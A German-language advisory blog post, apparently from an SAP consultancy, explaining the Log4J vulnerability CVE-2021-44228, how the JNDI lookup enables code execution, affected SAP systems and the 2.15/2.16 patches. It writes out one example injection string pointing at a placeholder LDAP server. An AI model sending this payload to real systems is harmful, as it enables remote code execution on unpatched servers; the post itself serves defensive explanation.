CVE-2021-44228: Sicherheitslücke im Java-Logging mit Log4J
Applikationen, Programme und Server müssen regelmäßig gewartet werden. Um dies möglichst einfach zu gestalten, nutzen Programmierer an unterschiedlichen Stellen Logging. Das bedeutet, dass Informationen dessen, was gerade passiert in eine Textdatei (ein Log-File) geschrieben wird.
Bei der Erstellung neuer Programme wird häufig auf Open Source als „Quellcode offene Software“ zurückgegriffen. So kann man frei zur Verfügung gestellte und bereits erprobte Komponenten nutzen, um Entwicklungsaufwand zu reduzieren und gleichzeitig Industriestandards zu implementieren. So kann eine funktionierende Basis genutzt werden, ohne das Rad neu erfinden zu müssen.
Zum Problem wird diese Nutzung erst, wenn trotz der freien Einsehbarkeit des Quellcodes eine Sicherheitslücke unbemerkt bleibt und erst dann auffällt, wenn die betroffene Komponente sich bereits globaler Beliebtheit erfreut.
Genau das ist im Bereich Log4J mit einer Log-Komponente geschehen.
Die Schwachstelle – Wo exakt liegt nun das Problem mit Log4J?
Wie bereits beschrieben, wird beim Logging ein aktueller Zwischenstand der Server-Situation in eine Textdatei geschrieben. Dieser Vorgang selbst ist noch kein Sicherheitsrisiko (unter Umständen aber ein DSGVO-Problem).
Problematisch wurde Log4J schon 2013 mit der Einführung eines JNDILookup-Plugins. Dies erlaubt der Log-Komponente für weitere Analysezwecke Anfragen an Verzeichnisdienste zu leiten. Genau diese Anfragen werden durch eine spezielle Syntax im Log ausgelöst, die beispielsweise so aussieht: 
Im Beispiel hier würde Log4J versuchen vom Verzeichnisdienst unter „serveradresse.com:1234“ eine Abfrage des Objektes „Serverprogramm“ durchzuführen. Das Serverprogramm könnte hierbei beliebiger Java-Code sein.
Das Problem ist nun, dass der Textbaustein oben nicht zwangsweise vom Entwickler kommen muss. Wenn ein Programm, welches auf Logging mithilfe von Log4J zurückgreift, jegliche Art von Benutzer-Eingaben im Log festhält, könnte ein Benutzer obigen Textbaustein in das Log schmuggeln, wo dieser dann ausgeführt wird. Um die Fehlersuche zu vereinfachen, ist das Logging von Benutzereingaben, wie zum Beispiel dem Benutzernamen oder anderen Eingaben weit verbreitet.
Nennt sich ein Benutzer nun „${jndi:ldap://serveradresse.com:1234/Serverprogramm}“ ist der Angriff im Prinzip schon erfolgt. Alles, was noch fehlt, ist das Einrichten eines beliebigen Verzeichnisdienstes unter der Serveradresse und das Opfersystem führt jeden Code aus, der dort abgelegt wurde. Je nach der verwendeten Version werden Adressbereiche außerhalb des angegriffenen Servers zugelassen oder nicht. In beiden Fällen kann jedoch Angriffscode im System zur Ausführung gebracht werden, in dem andere Programme auf dem Opferserver aufgerufen und zweckentfremdet werden.
Wen trifft das Log4J-Problem?
Wie eingangs erwähnt, wird in der Software-Entwicklung weltweit gerne auf Open-Source-Lösungen vertraut. Die betroffene Komponente Log4J ist eine von mehreren verbreiteten Lösungen für Logging im JAVA-Umfeld. Im Bereich SAP und in vielen anderen Systemen ist JAVA fester Bestandteil diverser Lösungen. Ob und wieweit hier im Bereich Logging auf Log4J zurückgegriffen wird, ist für Endkunden nicht ohne Weiteres ersichtlich.
Genau wie bei allen anderen Softwareentwicklern liegt es in der Verantwortung von SAP nun genauestens zu prüfen, welche Lösungen in welchem Ausmaß betroffen sind.
Allem voran lässt sich sagen: SAP ist die Situation bekannt und es wird mit Hochdruck daran gearbeitet, Sicherheitslücken zu identifizieren und zu schließen.
Für Sie als Kund:innen ist vor allem eins wichtig:
Nicht überall, wo Java drin ist, steht auch Java drauf!
Oftmals sind es die kleinen Anwendungen, die im SAP-Umfeld auf Java zurückgreifen und bei denen nicht wie beim NETWEAVER JAVA die Verwendung direkt im Namen deutlich wird.
Um eine Übersicht zu schaffen, welche Komponenten ein potenzielles Risiko darstellen, stellen wir hier eine Liste MÖGLICHER Sicherheitslücken zur Verfügung, die wir im Laufe der Zeit aktualisieren.
Log4J-Fehler und -Patches
Der kritische Zustand in der Bibliothek Log4J betrifft die Version Log4J 2 und ist mit Log4J 2.15 behoben worden. Eine Sicherheitslücke in Folge von Patch 2.15 wurde schließlich am 14.12.2021 mit 2.16 geschlossen. Die Auslieferung von entsprechenden Updates obliegt jedoch nicht nur SAP, sondern auch den Entwicklern von betroffenen Applikationen.
Log4J in Version 1.X ist schon länger aus der Wartung und wurde daher weder gepatcht noch auf eine Sicherheitslücke untersucht.
Generell empfiehlt es sich alle Systeme in Ihrer IT-Landschaft regelmäßig auf den neusten Stand zu bringen.
Informationen zu betroffenen SAP Lösungen:
Für alle aufgelisteten Produkte gilt, dass eine Untersuchung nur für die aktuellen, in der Wartung befindlichen Versionen durchgeführt wurde.
Software-Lösungen, die in unserer Liste nicht aufgeführt sind, wurden von uns noch nicht auf mögliche Angriffsvektoren untersucht, daher liefert diese Aufzählung keine Gewähr für Vollständigkeit.
Die weitere Entwicklung des Log4J-Problems und Reaktionen von SAP behalten wir im Blick und informieren Sie zeitnah in unseren Meldungen.
Zur Übersicht